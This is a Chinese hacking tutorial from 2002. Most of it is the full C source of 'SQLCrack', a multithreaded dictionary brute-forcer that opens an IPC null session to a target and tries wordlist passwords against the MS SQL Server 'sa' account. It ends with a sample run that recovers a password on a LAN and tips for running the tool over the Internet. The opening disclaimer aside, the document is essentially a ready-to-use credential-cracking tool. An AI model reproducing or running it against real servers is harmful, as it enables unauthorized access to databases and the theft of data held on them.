| |
|
如何破解MS SQL SERCVER密码 此程序只作技术交流之用,如用于不法用途,作者不负任何责任!! 这篇文章的重点是如何探测MS SQL SERVER账号的密码,下面以一个实例来说明探测密码的全过程。 //程序所用到的头文件 #include 〈stdio.h〉 #include 〈windows.h〉 #include 〈wchar.h〉 #include 〈lmcons.h〉 #include 〈sql.h〉 #include 〈sqlext.h〉 #include 〈winnetwk.h〉 #include 〈time.h〉 //定义全局变量 char dict[20000][40],//准备探测的密码 UserName[40],//用户名 target[40],//目标服务器 passwd[40];//已经探测出来的正确密码 int total=0;//字典里面单词数量 BOOL Cracked=FALSE;//探测密码成功时此值为TRUE // //函数:usage //功能:显示程序帮助信息 // void usage() { printf("\nPower by analyzer〈inmiao@163.com〉" "\nhttp://www.infocn.com" "\nUsage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉" "\nExample:SQLCrack 192.168.0.1 sa c:\\pwd.dic 50\n"); return; } // //函数:ReadDic //功能:从字典文件里面读取数据,传递给全局变量dict,准备探测密码 //说明:函数运行失败返回值1,成功返回0 // int ReadDic(char *dic) { FILE *fp; char tmp[40]; //打开字典文件 if((fp=fopen(dic,"r"))==NULL) { printf("\nCan't open %s",dic); return 1; } while(!feof(fp)) { //读取数据到临时变量 if(fgets(tmp,40,fp)==NULL) break; //这里别忘了把从文件里面读出来的最后一位数据[换行符号]去掉,不然就探测不出来密码了 strncpy(dict[total],tmp,strlen(tmp)-1); total++; //因为dict定义为dict[20000][40],所以这里如果字典里面的单词超出20000就退出循环 //不然就会溢出啦.可以自行调准 if(total〉=20000) break; } fclose(fp); return 0; } // //函数:ConnIPC //功能:建立IPC连接 //说明:连接失败返回值1,成功返回值0 // int ConnIPC(char *RemoteName) { NETRESOURCE nr; DWORD flags=CONNECT_UPDATE_PROFILE; TCHAR RN[30]="\\\\", LN[5]=""; strcat(RN,RemoteName); strcat(RN,"\\ipc$"); //填充数据结构 nr.dwType=RESOURCETYPE_DISK; nr.lpLocalName=(LPTSTR)&LN; nr.lpRemoteName=(LPTSTR)&RN; nr.lpProvider=NULL; if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR) { return 0; } else { return 1; } } // //函数:DelIPC //功能:断开IPC Session //说明:成功返回值0,否则返回1 // int DelIPC(char *RemoteName) { DWORD ret; TCHAR lpName[30]="\\\\"; strcat(lpName,RemoteName); strcat(lpName,"\\ipc$"); ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE); if(ret==NO_ERROR) { return 0; } else { return 1; } } // //函数SQLCheck //功能:尝试用不同密码连接SQL Server,探测出正确的密码 // DWORD WINAPI SQLCheck(PVOID pPwd) { //定义局部变量 char szBuffer[1025]; char *pwd; SWORD swStrLen; SQLHDBC hdbc; SQLHANDLE henv; SQLRETURN retcode;//ODBC API运行返回值 SCHAR ConnStr[200];//连接数据库字符串 //取得传递过来准备探测的密码 pwd=(char *)pPwd; //构造连接数据库字符 strcpy(ConnStr,"DRIVER={SQL Server};SERVER="); strcat(ConnStr,target); strcat(ConnStr,";UID="); strcat(ConnStr,UserName); strcat(ConnStr,";PWD="); strcat(ConnStr,pwd); strcat(ConnStr,";DATABASE=master"); //puts(ConnStr); //创建数据库应用的环境句柄 if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS) { printf("\nAllocate environment handle failed.\n"); return 0; } //printf("henv.."); //设置ODBC版本环境 if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER) SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS) { printf("\nSet the ODBC version environment attribute failed.\n"); SQLFreeHandle(SQL_HANDLE_ENV, henv); return 0; } //printf("ODBC ver.."); //创建连接句柄 if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR *)&hdbc)) != SQL_SUCCESS) { printf("\nAllocate connection handle failed.\n"); SQLFreeHandle(SQL_HANDLE_ENV, henv); return 0; } //printf("hdbc.."); //连接数据源 retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr), szBuffer,sizeof(szBuffer),&swStrLen, SQL_DRIVER_COMPLETE_REQUIRED); //printf("conn.."); if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO) { //连接失败,函数终止 //printf("\nCouldn't connect to %s MSSQL server.\n",target); SQLFreeHandle(SQL_HANDLE_DBC, hdbc); SQLFreeHandle(SQL_HANDLE_ENV, henv); return 0; } //连接远程MSSQL Server数据库成功 Cracked=TRUE; strcpy(passwd,pwd); //puts(szBuffer); //显示连接远程数据库的字符串 //断开连接 SQLDisconnect(hdbc); //printf("disconn.."); //释放连接句柄 SQLFreeHandle(SQL_HANDLE_DBC, hdbc); //printf("free hdbc.."); //释放环境句柄 SQLFreeHandle(SQL_HANDLE_ENV, henv); //printf("free henv..\n"); return 0; } // //程序入口点函数:main // int main(int argc,char **argv) { HANDLE hThread;//线程句柄 DWORD dwThreadId; int i=0,err=0, SleepTime;//每开一个线程后的挂起时间 clock_t start,end;//程序运行的起始和结束时间 double duration; //检查用户输入参数,参数不足调用函数usage显示帮助信息并退出程序 if(argc!=5) { usage(); return 1; } //取得并检查用户输入的挂起时间 SleepTime=atoi(argv[4]); if((SleepTime〉1000) || (SleepTime〈20)) { usage(); return 1; } //取得目标地址,用户名 strcpy(target,argv[1]); strcpy(UserName,argv[2]); //读取字典中的单词到内存中 if(ReadDic(argv[3])!=0) return 1; //for(i=0;i〈total;i++) // printf("[%s]--〉%d",dict[i],strlen(dict[i])); //与目标机器建立IPC Session if(ConnIPC(argv[1])!=0) { printf("\nCan't built IPC NULL Session!"); return 1; } else { printf("\nBuilt IPC NULL Session success!\n"); } //开始计时 start=clock(); //开始建立线程探测密码 for(i=0;i〈total;i++) { //探测密码成功后跳出此循环 if(Cracked==TRUE) break; //显示进度信息 printf("\n[%d/%d] %s -〉 %s -〉 %s",i+1,total,target,UserName,dict[i]); //创建线程 hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId); if(hThread==NULL) { err++; if(err==50) { MessageBox(NULL,"thread error","error",MB_OK); break; } } CloseHandle(hThread); //每开一个线程挂起一段时间,确保探测结果的正确性和系统的稳定 Sleep(SleepTime); } //断开与目标机器的IPC Session DelIPC(target); //挂起一段时间,等待所有线程结束 Sleep(1000); //探测密码成功后回显信息 if(Cracked==TRUE) printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd); //记时结束 end=clock(); //转换时间格式 duration = (double)(end - start) / CLOCKS_PER_SEC; //显示所用时间 printf("\n\nComplete.Use %2.1f seconds.\n",duration); return 0; } 以上程序在windows2000,vc++6.0环境下编译通过。以下我在LAN中测试此程序时的一些情况: c:\〉 SQLCrack.exe Power by analyzer〈inmiao@163.com〉 http://www.infocn.com Usage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉 Example:SQLCrack 192.168.0.1 sa c:\pwd.dic 50 c:\〉 SQLCrack.exe 192.0.0.81 sa c:\password.Dic 20 Built IPC NULL Session success! [1/1870] 192.0.0.81 -〉 sa -〉 !@#$% [2/1870] 192.0.0.81 -〉 sa -〉 !@#$%^ [3/1870] 192.0.0.81 -〉 sa -〉 !@#$%^& [4/1870] 192.0.0.81 -〉 sa -〉 !@#$%^&* [5/1870] 192.0.0.81 -〉 sa -〉 * [6/1870] 192.0.0.81 -〉 sa -〉 000000 [7/1870] 192.0.0.81 -〉 sa -〉 00000000 [8/1870] 192.0.0.81 -〉 sa -〉 0007 此处略去输出结果若干…… [1827/1870] 192.0.0.81 -〉 sa -〉 winter [1828/1870] 192.0.0.81 -〉 sa -〉 wisdom [1829/1870] 192.0.0.81 -〉 sa -〉 wizard [1830/1870] 192.0.0.81 -〉 sa -〉 wolf [1831/1870] 192.0.0.81 -〉 sa -〉 wolf1 [1832/1870] 192.0.0.81 -〉 sa -〉 loveyou Success!192.0.0.81 SQL Server User [sa] passwd is [loveyou]. Complete.Use 76.1 seconds. C:\〉 用时一分钟多一点,探测密码1800多次,最终探测成功!另外,因为在LAN中速度比较快,所以我在运行程序时,输入的SleepTime为20,意思是每隔20毫秒开一个线程。在Internet做测试的时候,请根据网速自行调准SleepTime,建议SleepTime设置为200左右,如果SleepTime设置较小,而网速不快的话,容易出现漏报现象,那就探测不出正确的密码了。 |
| Copyright By「黑白网络工作室」2002 All Rights Reserve |